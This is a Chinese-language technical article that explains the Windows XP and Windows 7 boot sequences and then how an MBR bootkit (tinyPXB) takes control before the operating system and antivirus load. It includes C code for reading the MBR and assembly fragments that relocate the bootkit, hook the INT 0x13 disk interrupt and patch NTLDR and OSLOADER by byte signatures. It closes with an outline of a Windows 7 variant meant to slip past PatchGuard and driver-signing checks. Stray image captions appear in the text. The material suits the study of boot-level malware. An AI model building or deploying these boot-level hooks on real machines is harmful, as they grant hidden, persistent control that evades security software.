安全的对抗首先在权限方面,权限高的进程对权限低的权限就是就是降维打击,无往不利。当权限相同时,启动得早便为王。所谓的bootkit也就是基于这个思路设计的一种复杂病毒。它优先于Windows系统启动,自然也就优先于杀毒软件启动的时间。鉴于国内对bootkit的文章不多,本文想介绍一下bootkit的具体技术细节。为了保证内容的梯度和完整度,其中基于MBR的rootkit分别以WindowsXp和Win7为例,而基于UEFI的bootkit则可以在Windows7以上版本(7,8,10)的运行。

一:基于MBR的bootkit

1.1:windowsXP的系统加载流程

  运行流程如下图:

boot2docker 接口 boot lick_加载

  BIOS:BIOS代码存在于主板上的EEPROM(Electronically Erased Programmable Read Only Memory)芯片中。大多数PC都会执行一些称为“Shadow”的操作,它们从RAM复制并运行BIOS代码(地址为0x000F0000),RAM比ROM快,因此可以加快启动速度。BIOS将MBR从引导设备的第一个扇区读入地址0x7C00。并提供一系列低级功能,称为BIOS中断,可通过“int”指令访问实模式代码。

  MBR(Master Boot Record):MBR是引导设备的绝对第一扇区,大小为1扇区(512字节),此代码由BIOS加载到0x7C00,然后在实模式下执行。然而,MBR的大部分是代码; MBR内部是一个表(实际主引导记录),该表由4 x 16字节条目组成,并从偏移量0x1BE开始进入MBR。一旦执行,代码将查看分区表,找到活动分区,然后将分区的第一个扇区(VBR)读入0x7C00然后执行它。 由于MBR将VBR读入0x7C00,因此它将在事先重新定位,以避免覆盖自身。 MBR的最后2个字节是引导签名(0x55,0xAA)。读写MBR的代码很简单,如下:

HRESULT GetSigned(CAtlStringW strPhysicalDrive, PUCHAR ulSigned) {
    HRESULT hr = S_OK;
    HANDLE hDevice;
    MBR Mbr = { 0 };
    do {
        hDevice = CreateFileW(strPhysicalDrive.GetBuffer(), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
        if (hDevice == INVALID_HANDLE_VALUE) {
            hr = S_FALSE;
            break;
        }
        DWORD dwRead = 0;
        if (!ReadFile(hDevice, (LPVOID)&Mbr, sizeof(MBR), &dwRead, NULL)) {
            hr = S_FALSE;
            break;
        }
        if (memcpy_s((void*)ulSigned, sizeof(ulSigned) / sizeof(ulSigned[0]), (void*)Mbr.ulSinged, sizeof(Mbr.ulSinged) / sizeof(Mbr.ulSinged[0]))) {
            hr = S_FALSE;
            break;
        }
    } while (0);
    CloseHandle(hDevice);

    /*
    for (int i = 0; i < 4; i++) {
    printf("%02x", ulSigned[i]);
    }
    */
    return hr;
}

  VBR(Volume Boot Record):VBR是可引导分区的第一个扇区,就像MBR一样,它的大小为1扇区(512字节)。它由MBR在地址0x7C00(实模式)下加载并执行。 VBR的前两个字节是跳转指令,跳过Bios参数块(BPB)并进入主代码。在VBR的前2个字节之后是BPB,此块包含有关驱动程序和分区的一些信息(主文件表的位置,驱动器的磁盘/磁头/扇区设置,卷序列号等)。除了从BPB收集一些信息之外,VBR没有做太多其他事情,然后将分区的前16个扇区读入内存(通常从地址0xD000开始)。 •分区的前16个扇区称为$BOOT,尽管所有16个扇区都被加载到内存中,但只使用了7个扇区(1个用于VBR,6个用于IPL)。

  IPL(Inital Program Loader):IPL最大可达15个扇区(7680字节),位于磁盘上的VBR(分区的扇区1-15)之后,此代码从地址0xD000开始,然后在实模式下运行。 Windows XP IPL仅使用15个已分配扇区中的6个。 IPL的工作是在磁盘上定位NTDLR,然后将其读入内存。 IPL将始终读取并执行地址0x20000处的NTLDR。

  NTLDR(New Technology Loader):NTLDR是一个“实际”文件,驻留在C:\NTLDR并具有属性FILE_ATTRIBUTE_HIDDEN和FILE_ATTRIBUTE_SYSTEM(MBR,VBR和IPL无法从文件系统访问),它在地址0x20000处执行。TLDR由2个主要部分组成:1.NTLDR - 16位实模式和保护模式代码的混合,可在两种模式之间切换,以便使用BIOS中断。 2.OSLOADER.exe - 一个PE文件(编译为驱动程序),由32位代码组成,在保护模式下执行。NTLDR将设置GDT和IDT,然后进入保护模式(分页仍未设置)。OSLOADER.exe从NTLDR中提取并加载其入口点0x401000,这是因为OSLOADER是PE文件,如果位于0x401000,则不需要重定位表。NTLDR调用0x401000(OSLOADER入口点)。

  OSLoader.exe:OSLOADER是一个PE文件,它被编译为内核驱动程序,但它有点像普通文件而不是驱动程序,因为内核尚未加载。 虽然OSLOADER是PE文件,但PE头不会加载到内存中,只会加载到代码中。OSLOADER中的代码做了很多,所以我只强调主要内容:

    i:启用分页并设置页表。

    ii:使用NTDETECT检测是否存在运行Windows所需的硬件。

    iii:解析boot.ini以获取启动设置,如果是双启动,请询问用户他们希望加载哪个操作系统。 

    iV:加载启动驱动程序。

    V:在调用KiSystemStartup(ntoskrnl入口点)之前,找到ntoskrnl.exe并将其加载到内存中。

  ntoskrnl.exe:Ntoskrnl是位于C:\Windows\System32\ntoskrnl.exe的PE文件,它将由OSLoader.exe加载(加载地址将在 service pack地址中变化),而ntoskrnl.exe的入口点是KiSystemStartUp,它负责初始化内核并启动操作系统,然后执行由OSLoader.exe架子啊的启动驱动程序。当内核初始化完成后,操作系统将准备好登陆。

  以上便是整个系统启动的调用流程。

1.2 :根据 tinyPXB讲解基于MBR的bootkit的运行机理

  bootkit在tinyPXB中分为四个部分:1.MBR-负责加载其它三个组件 2.Loader16.bin bootkit的实模式组件 3.Loader32.bin bookit的32位保护模式组件 4.Driver32.sys 加载的驱动,这个不在本文的讲解范围。

1.2.1 MBR代码流程

  bootkit MBR最初将在0x7C00加载并执行;一旦执行它就会将自身复制到地址0x80000并从那里执行。代码如下:

;=============================================================================================
;Move this code from 0x7C00 to 0x80000 then call "realstart" at new address
;=============================================================================================
start:
	cld
	push 0x00
	pop ds
	mov sp, 0x7C00	;Stack grows downwards from address 0x7C00
	mov si, sp	
	mov di, 0x00
	mov cx, 0x100
	push 0x8000
	pop es
	rep movsw		;Copy code from DS:SI to ES:DI (0000:7C00 to 8000:0000)
	push 0x8000		;Segment to retf to
	push realstart	;Offset to retf to
	retf			;Jump to code at new address
;=============================================================================================
;Use int 0x13 to read loader16, loader32 and driver32 from the floppy disk, we have to use 
;normal read instead of extended read because it doesnt seem to work with floppy disks
;=============================================================================================
realstart:
	push es
	pop ds
	
	call LoadLdrs
	test ax, ax
	je Failed
	
	push 0x8020
	push 0x0000
	retf 		;Jump to loader16 (0x80200)
	
Failed:
	jmp $		;Infinite loop
	ret

   一旦到达0x8000,MBR将解析软盘的12位文件分配表(FAT),寻找LOADER16BIN,LOADER32BIN和DRIVER32SYS。 MBR将使用INT 0x13,AH = 2(标准磁盘读取)BIOS中断将磁盘中的文件读入内存。我们不能在软盘上使用扩展读取,因此MBR还会将逻辑块地址转换为Cylinder-Head-Sector值。 Loader16将加载到地址0x80200,Loader32将加载到地址0x80400,driver32将加载到地址0x8100。一旦MBR完成加载bootkit组件,它将执行转移到0x80200(Loader16)。

1.2.2 Loader16

  Loader16将从地址0x80200执行,并将完全在实模式下执行。

  代码将负责挂钩INT 0x13(磁盘读取中断)和处理调用,以及挂钩NTLDR中的代码和OSLOADER.exe的入口点。

  INT 0x13是BIOS提供的磁盘服务中断。 MBR,VBR,IPL和NTLDR将使用它来读取磁盘中的扇区以及其他内容。挂钩int 0x13代码如下:

start:
	push cs		;Set up segments
	pop ds	
	push cs
	pop es
	
	mov ah, 0x42	;Extended Disk Read
	mov dl, 0x80	;Hard Disk 1
	mov si, DAP1	;Pointer to Data Access Packet
	int 0x13
	jc StartFailed
	
	mov ax, [ss:0x4C]
	mov word [Old_Int13+1], ax		 ;Store original int 0x13 offset
	mov ax, [ss:0x4E]
	mov word [Old_Int13+3], ax		 ;Store original int 0x13 segment
	
	mov word [ss:0x4C], Int13Handler ;Our int 0x13 handler offset
	mov word [ss:0x4E], 0x8020		 ;Our code segment
	
	push 0x00	;Reset es and ds segment
	pop es
	push es
	pop ds
	
	push es
	push 0x7C00
StartFailed:

  通过挂钩磁盘中断,我们可以扫描MBR,VBR,IPL或NTLDR读取的每个扇区。我们通过搜索特征码(FC F3 67 66 A5 66 8B 4E 0C 66 83 E1 03,此代码 NTLDR使用它将OSLOADER加载到内存中),当IPL使用INT 0x13将NTLDR读入内存时,将找到特征码并在“rep movsw”之后进行HOOK。(在OSLOADER加载到0x401000之后)。Hook OSloader代码如下:

HookMoveOSLoader:
	push ds
	push fs
	push 0x8020
	pop fs
	push 0x00
	pop ds
	mov dx, word [fs:Old_Int13+1]	;Store original int 0x13 offset into dx
	mov [0x4C], dx					;Restore int 0x13 offset
	mov dx, word [fs:Old_Int13+3]	;Store original int 0x13 segment into dx
	mov [0x4E], dx					;Restore int 0x13 segment
	xor edi, edi ;Make sure the high word of edi is null
	mov di, ax	 ;ax still contains the address signature was found at
	add di, 0x05 ;We hook 5 bytes into the signature (just after rep movsw
	push es
	pop fs
	mov byte [fs:di+0], 0x9A	;Far call
	mov word [fs:di+1], 0x600	;Jump to address 0x00000600
	mov word [fs:di+3], 0x0008	;GDT descriptor 0x01 (32-bit code segment base: 0x00000000
	mov di, 0x600				;We store the 32-bit relative jump at 0x600
	mov byte [di], 0xE9			;relative 32-bit jump to HookOSLoader
	mov dword [di+1], (0x7FDFB)	;Offset to loader32 (0x605 + 0x7FFFB = 0x80400)
	pop fs
	pop ds
	retn

  所有代码都是从我们的软盘运行的。 Loader16会将真正的Windows MBR从硬盘驱动器读入0x7C00(就像BIOS一样),挂起INT 0x13,然后执行windows MBR。

1.2.3 Loader32

  Loader16中,我们在NTLDR中进行了HOOK,当运行到这个HOOk的时候,我们将删除HOOK,然后扫描OSLoder对其进行挂钩,扫描一下特征码( 51 6A 01 52 50 6A 05 E8),这段代码后面跟随的是BlAllocateDescriptor的地址,这个函数用于分配内存,当Loader尝试调用BlAllocateDescriptor时,它将运行Hook代码,现在让系统继续运行。一旦NTLDR完成并且OSLOADER开始执行,它将调用被我们Hook住的BlAllocateDescriptor。由于BlAllocateDescriptor已经可以使用了,删除钩子并对BlAllocateDescriptor进行3次调用。

  i:第一个调用是分配一些内存来移动Loader32,这是因为当启用分页时,我们当前执行的内存将被分页。

  ii:第二个调用是为我们的驱动程序分配一些内存来运行,因为存储驱动程序PE文件的地址也将被分页,我们现在也可以将驱动程序的PE文件映射到内存中,准备执行。

  iii:最后一次调用调用没有被Hook情况下调用分配的内存。就在我们的BlAllocateDescriptor将执行转移回OSLOADER之前,我们将把loader32重新定位到分配的内存.

  然后在OSLOADER中执行另一个字节扫描。•这次我们扫描以下字节:8B F0 85 F6 74 11 68 4C 23这些对应于指令:

    mov esi,eax

    test esi,esi

    jz 0x11

    push 234Ch

    OSLOADER使用这些指令之后的代码直接调用在ntoskrnl中的KiSystemStartup,就在“mov esi,eax”之前是一个push,然后是一个调用,push将把“LOADER_PARAMETER_BLOCK”推送到堆栈,我们将把调用的地址改为指向我们的代码。 •KiSystemStartup挂钩将指向我们复制到已分配内存的loader32中的代码(0x80000000范围内的某处)。

   现在我们将控制权返回给OSLOADER,以便继续加载操作系统。加载操作系统之后,由于之前已经对系统做了挂钩。所以我们可以你在加载系统的第一时间获取控制流,从而可以对系统为所欲为。

 1.3:windows7的系统加载流程

  1:首先,MBR加载NT Boot Sector,NT boot Sector可以读取FAT32和NTFS,它将读取在 system32或者system32/boot目录下的BOOTMGR.exe函数。

  2:bootmgr.exe有一个16字节的校验头,当检验成功后,将将其映射到0x40000的位置,并以BmMain函数开始。

  3:然后BootMgr.exe检查休眠状态。一但发现休眠,则加载winresume.exe并继续运行。

  4:BootMgr.exe加载BCD数据库,并且遍历boot入口。

  5:选择了Boot入口后,使用BmLanuchBootEntry函数进行加载。然后CPU进入64位模式并跳转到winload.exe。

  6:winload.exe首先加载system的hive文件,然后加载ntoskrnl.exe,HAL.dll,依赖和关键驱动

  7:创建PSLoadModuleList和LOADER_PARAMETER_BLOCK结构,其中包含了内核映射和选项列表等信息

  8:然后使用OslArchTranslateToKernel函数进行内核(ntoskrnol.exe)的初始化流程。

  总体流程如图所示:

boot2docker 接口 boot lick_驱动程序_02

  其中内核初始化一共分为两步,这于本篇内容没有太大关系,略过。

 二:vbookit2.0原理

  windows7 x64上,我们需要在不被Patch Guard和驱动签名检测的前提下,过掉所有的安全功能。所以我们只能在内存中打补丁。和tinyXp一样,文件加载的时候打补丁,一步步前进,直到到达内核为止。